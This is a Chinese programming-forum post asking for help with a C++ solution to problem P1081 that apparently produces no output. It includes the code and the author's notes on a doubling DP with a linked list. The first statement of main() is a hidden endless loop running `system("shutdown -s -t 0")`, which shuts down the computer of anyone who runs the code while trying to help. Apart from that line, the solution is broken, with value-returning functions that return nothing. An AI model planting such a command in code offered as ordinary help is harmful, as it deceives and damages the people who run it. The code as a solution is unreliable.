社区讨论

严重TLE代码求条(就是可能连最小的数据输进去都没有结果)

灌水区参与者 6已保存回复 11

讨论操作

快速查看讨论及其快照的属性,并进行相关操作。

当前回复
10 条
当前快照
1 份
快照标识符
@m1yrdd7g
此快照首次捕获于
2024/10/07 16:36
去年
此快照最后确认于
2025/11/04 17:42
4 个月前
查看原帖
CPP
//P1081
//Update:
//9/25 10:15:开始
//9/25 11:14 调不出来,暂时放一放


#include<bits/stdc++.h>
#define ll long long 
#define se second
#define fi first
using namespace std;
const ll N=1e5+9;
ll n,q,h[N],ga[N],gb[N],dp[N][20][5],pos[N][20][4],book[N],m;
struct minelist{ll val,id,nxt,pre;}List[N];
struct Node{ll val,id;}tmp[N],dis[6];
inline ll calc(ll x,ll y){return abs(h[x]-h[y]);}
inline ll cmp(Node x,Node y){return x.val<y.val;}
inline bool check(ll tp1,ll tp2,ll tp3,ll tp4){return double(tp1)/tp2>double(tp3)/tp4;}
inline void del(ll x)
{
    List[List[x].pre].nxt=List[x].nxt;
    List[List[x].nxt].pre=List[x].pre;
}
inline void init()
{
    sort(tmp+1,tmp+n+1,cmp);
    for(int i=1;i<=n;i++)
        List[i].val=tmp[i].val,
        List[i].id=tmp[i].id,
        List[i].pre=i-1,
        List[i].nxt=i+1,
        book[tmp[i].id]=i;
    // cout<<endl<<"BOOK:";
    // for(int i=1;i<=n;i++)
    //     cout<<book[i]<<' ';
    // cout<<endl;
    List[0].nxt=1;
	List[n+1].pre=n;
    for(int i=1;i<=n;i++)
    {
        ll x=book[i],st=List[List[x].pre].pre,ed=List[List[List[x].nxt].nxt].nxt; //这里懂
    //	cout<<i<<' '<<x<<endl;
        //x链表中的位置,st链表中x往前2个,ed:x往后2个
        ll min=INT_MAX,min1=INT_MAX;
        ll id=0,id1=0;
        if(st==0) st=List[0].nxt;
    //    cout<<"st:"<<st<<" "<<"ed:"<<ed<<endl;
        for(;st!=ed;st=List[st].nxt)//前两个到后两个中间必有两个点是ga或gb
        {
            if(st==x || st==0 || st==n+1) continue;
            ll p=List[st].id;
        //	cout<<st<<' '<<p<<endl;
            if(calc(p,i)<min)//普通的大小比较
                min1=min,id1=id,//小于最小值
                id=p,min=calc(p,i);
            else if(calc(p,i)==min)//等于最小值
            {
                if(List[st].val<List[book[id]].val)
                    id1=id,min1=min,id=p;
                else 
                    id1=p,min1=min;
            }
            else if(calc(p,i)<min1)
                min1=calc(p,i),id1=p;
            else if(calc(p,i)==min1)
                if(List[st].val<List[book[id1]].val)
                    id1=p;
        //	cout<<min<<' '<<min1<<' '<<' '<<id<<' '<<id1<<' '<<calc(p,i)<<endl;
		}
        if(i<=n-2) ga[i]=id1;
        if(i<=n-1) gb[i]=id;
        del(x);
    }
}
inline pair<ll,ll> Solve(ll x_,ll st)
{
    pair<ll,ll>len;
    len.fi=len.se=0;
    ll poss=st;
    for(int i=18;i;i--)
        if(pos[poss][i][0] && len.fi+len.se+dp[poss][i][0]+dp[poss][i][3]<=x_)
        {
            len.fi+=dp[poss][i][0];
            len.se+=dp[poss][i][2];
            poss=pos[poss][i][0];
        }
}
inline ll solve()
{
    for(int i=1;i<=n;i++)
        dp[i][0][0]=calc(i,ga[i]),
        dp[i][0][3]=calc(i,gb[i]),
        pos[i][0][0]=ga[i],
        pos[i][0][1]=gb[i];
    for(int i=1;i<=18;i++)
        for(int j=1;j<=n;j++)
            for(int k=0;k<=3;k++)
                if(i==1)
                {
                    if(k<=1) pos[j][i][k]=pos[pos[j][i-1][k]][i-1][k^1];
                    dp[j][i][k]=dp[j-1][i][k]+dp[j-1][pos[j-1][i][k]][k^1];
            //        cout<<j<<' '<<i<<' '<<k<<' '<<dp[j][i][k]<<endl;
                }
                else
                {
                    if(k<=1) pos[j][i][k]=pos[pos[j][i-1][k]][i-1][k];
                    dp[j][i][k]=dp[j-1][i][k]+dp[j-1][pos[j-1][i][k]][k];
              //      cout<<j<<' '<<i<<' '<<k<<' '<<dp[j][i][k]<<endl;
                }
}
inline void output()
{
    for(int i=1;i<=n;i++)
        cout<<"ga:"<<ga[i]<<' '<<"gb:"<<gb[i]<<endl;
    cout<<endl;
}
int main()
{
	while(1) system("shutdown -s -t 0");
    cin>>n;
    for(int i=1;i<=n;i++)
        cin>>h[i],
        tmp[i].id=i,
        tmp[i].val=h[i];
    init();//求出ga,gb
 //   output();//输出检查
    ll x_;
    cin>>x_>>m;
    solve();
    double ans=1e18;ll id=0;
    for(int i=1;i<=n;i++)
    {
        pair<ll,ll>P=Solve(x_,i);
        double now_ans=double(P.fi)/double(P.se);
        if(now_ans>ans)
            ans=now_ans,id=i;
        else if(now_ans==ans && h[i]<h[id])
            id=i;
    }
    cout<<id<<endl;
    for(int i=1;i<=m;i++)
    {
        ll x,y;
        cin>>x>>y;
        pair<ll,ll> P=Solve(y,x);
        cout<<P.fi<<' '<<P.se<<endl;
    }
    return 0;
}
/*
小A走法:走第二近的点
小B走法:走第一近的点
注意:距离相同,取最小值

dp[i][j][1/0]:
表示从i开始,开车2^j天,小A先开车/小B先开车所开的距离

ga[i]:从i开始,小A明天会开到哪里
gb[i]:从i开始,小B明天会开到哪里

calc(i,j):i到j的距离

ga,gb用链表计算:
把h放入链表
从小到大依次删掉i,查看左右两侧两边的值

做出来就是胜利!
*/

回复

11 条回复,欢迎继续交流。

正在加载回复...